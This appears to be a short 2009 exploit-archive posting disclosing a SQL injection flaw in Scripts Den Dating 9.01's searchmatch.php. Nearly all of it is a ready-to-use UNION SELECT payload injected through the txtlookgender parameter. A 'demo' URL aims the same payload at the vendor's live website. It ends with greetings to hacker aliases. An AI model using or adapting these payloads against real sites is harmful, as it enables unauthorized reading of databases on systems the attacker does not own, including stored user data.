[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Den Dating 9.01(searchmatch.php) SQL Injection Vulnerability
# Published : 2009-02-11
# Author : nuclear
# Previous Title : Bloggeruniverse v2Beta (editcomments.php id) SQL Injection Exploit
# Next Title : InselPhoto 1.1 (query) Remote SQL Injection Exploit
#Scripts Den Dating Demo V9.01(searchmatch.php) SQL Injection Vulnerability
#Author: nuclear
#site:
http://www.scriptsden.com
#SQL vuln:
http://localhost/[path]/searchmatch.php?page=2&sort_by=username&sort_order=asc&txtgender=M&txtlookgender=F') union select 1,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44%23&txtlookagestart=18&txtlookageend=50&with_photo=
#demo:
http://www.scriptsden.com/dating/searchmatch.php?page=2&sort_by=username&sort_order=asc&txtgender=M&txtlookgender=F%27)%20union%20select%201,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44%23&txtlookagestart=18&txtlookageend=50&with_photo=
#greetz Mi4night, zYzTeM, THE_MAN, Pepe, I-O-W-A, Digitalfortress, DiGitalX, sys32-hack, sys32r, Whitestar
# www.Syue.com [2009-02-11]